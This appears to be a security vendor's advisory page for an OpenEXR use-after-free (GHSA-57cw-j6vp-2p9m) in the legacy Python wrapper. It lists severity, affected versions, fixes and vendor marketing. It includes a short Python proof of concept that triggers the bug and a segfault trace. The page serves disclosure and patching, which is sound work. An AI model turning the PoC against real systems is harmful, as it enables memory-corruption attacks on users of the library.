How severe is GHSA-57cw-j6vp-2p9m?

GHSA-57cw-j6vp-2p9m has a CVSS score of 7.5/10, rated HIGH. Immediate patching is strongly recommended.

Which packages are affected by GHSA-57cw-j6vp-2p9m?

GHSA-57cw-j6vp-2p9m affects the following packages: openexr (PyPI), openexr (PyPI), openexr (PyPI). Ecosystems affected: PyPI.

How do I fix GHSA-57cw-j6vp-2p9m?

Update openexr to 3.2.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-57cw-j6vp-2p9m is resolved across your whole dependency graph.

How do I detect GHSA-57cw-j6vp-2p9m in my PyPI dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for openexr. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-57cw-j6vp-2p9m if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-57cw-j6vp-2p9m?

O3 pinpoints whether GHSA-57cw-j6vp-2p9m is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-57cw-j6vp-2p9m actively exploited in the wild?

No public exploit code has been indexed for GHSA-57cw-j6vp-2p9m yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-57cw-j6vp-2p9m?

GHSA-57cw-j6vp-2p9m has an EPSS (Exploit Prediction Scoring System) score of 0.3%, placing it in the 17th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-57cw-j6vp-2p9m?

GHSA-57cw-j6vp-2p9m is classified as Use After Free (CWE-416). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was GHSA-57cw-j6vp-2p9m published, and has it been updated?

GHSA-57cw-j6vp-2p9m was published on April 6, 2026 and was last updated on April 6, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐍 PyPI

GHSA-57cw-j6vp-2p9m

HIGH

OpenEXR has use after free in PyObject_StealAttrString

Also known asCVE-2025-64183

Published

Apr 6, 2026

Updated

Apr 6, 2026

Affected

3 pkgs

Patched

3 / 3

Exploits

None indexed

EPSS Exploitation Probability

via FIRST.org ↗

0.3%probability of exploitation in next 30 days

Lower Risk17th percentile+0.19%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

3 pkgs affected

🐍openexr🐍openexr🐍openexr

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

There is a use-after-free in PyObject_StealAttrString of pyOpenEXR_old.cpp.

This bug was found with ZeroPath.

Details

The legacy adapter defines PyObject_StealAttrString that calls PyObject_GetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLong_AsLong/PyFloat_AsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.).

https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L109-L115

https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L380-L387

https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L1258-L1286

PoC

import OpenEXR, Imath

# Any small EXR will do - use one from OpenEXR test images or any project file
path = "any_small.exr"

# Property returns a fresh temporary int subclass, so the buggy helper
# decrefs it to zero before passing it to PyLong_AsLong => UAF.
class FreshInt(int):
    def __new__(cls, v):
        return int.__new__(cls, v)
    def __del__(self):
        # stir the heap to make the UAF obvious under PYTHONMALLOC=debug
        _ = bytearray(1_000_000)

class PixelTypeProxy:
    @property
    def v(self):
        return FreshInt(Imath.PixelType.FLOAT)  # any small value is fine

f = OpenEXR.InputFile(path)
# channel() forces the wrapper to read pixel_type.v using the buggy helper
# which returns a dangling pointer
print("About to trigger UAF...")
f.channel("R", pixel_type=PixelTypeProxy())
print("If you get here without a crash, try again with AddressSanitizer.")

running

PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py

About to trigger UAF...
Fatal Python error: Segmentation fault

Current thread 0x00000001f209a140 (most recent call first):
  File "/private/tmp/i/pt.py", line 24 in <module>

Current thread's C stack trace (most recent call first):
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _Py_DumpStack+0x44 [0x1058c00f8]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at faulthandler_dump_c_stack+0x58 [0x1058d2f3c]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at faulthandler_fatal_error+0x160 [0x1058d2e00]
  Binary file "/usr/lib/system/libsystem_platform.dylib", at _sigtramp+0x38 [0x1841796a4]
  Binary file "/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94]
  Binary file "/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at method_vectorcall_VARARGS_KEYWORDS+0x94 [0x1057032bc]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyObject_Vectorcall+0x58 [0x1056f5044]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _PyEval_EvalFrameDefault+0x9cac [0x1058312d8]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyEval_EvalCode+0xf8 [0x105827130]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at run_mod+0xac [0x1058a2b60]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pyrun_file+0xa4 [0x1058a123c]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _PyRun_SimpleFileObject+0x100 [0x1058a07c0]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _PyRun_AnyFileObject+0x50 [0x1058a0424]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymain_run_file_obj+0xa4 [0x1058cfcd8]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymain_run_file+0x48 [0x1058cfa20]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at Py_RunMain+0x354 [0x1058cef60]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymain_main+0xe8 [0x1058cf3f8]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at Py_BytesMain+0x28 [0x1058cf494]
  Binary file "/usr/lib/dyld", at start+0x17bc [0x183d9eb98]

Extension modules: numpy._core._multiarray_umath, numpy.linalg._umath_linalg (total: 2)
Segmentation fault: 11     PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py

Impact

Completely depends on the context. Typical memory stuff related to UAFs.

Affected Packages

3 total 3 fixed

Ecosystem	Package	Vulnerable range	Fix
🐍PyPI	`openexr`	≥ 3.2.0&&< 3.2.5	3.2.5
🐍PyPI	`openexr`	≥ 3.3.0&&< 3.3.6	3.3.6
🐍PyPI	`openexr`	≥ 3.4.0&&< 3.4.3	3.4.3

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for openexr. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update openexr to 3.2.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-57cw-j6vp-2p9m is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-57cw-j6vp-2p9m is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-57cw-j6vp-2p9m. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary There is a use-after-free in PyObject_StealAttrString of pyOpenEXR_old.cpp. This bug was found with [ZeroPath](https://zeropath.com/?utm_source=joshua.hu). ### Details The legacy adapter defines PyObject_StealAttrString that calls PyObject_GetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLong_AsLong/PyFloat_AsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.). https://github.com/AcademySoftwareFoundation/openexr/blo

O3 Security · Impact-Aware SCA

Is GHSA-57cw-j6vp-2p9m in your dependencies?

O3 detects GHSA-57cw-j6vp-2p9m across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

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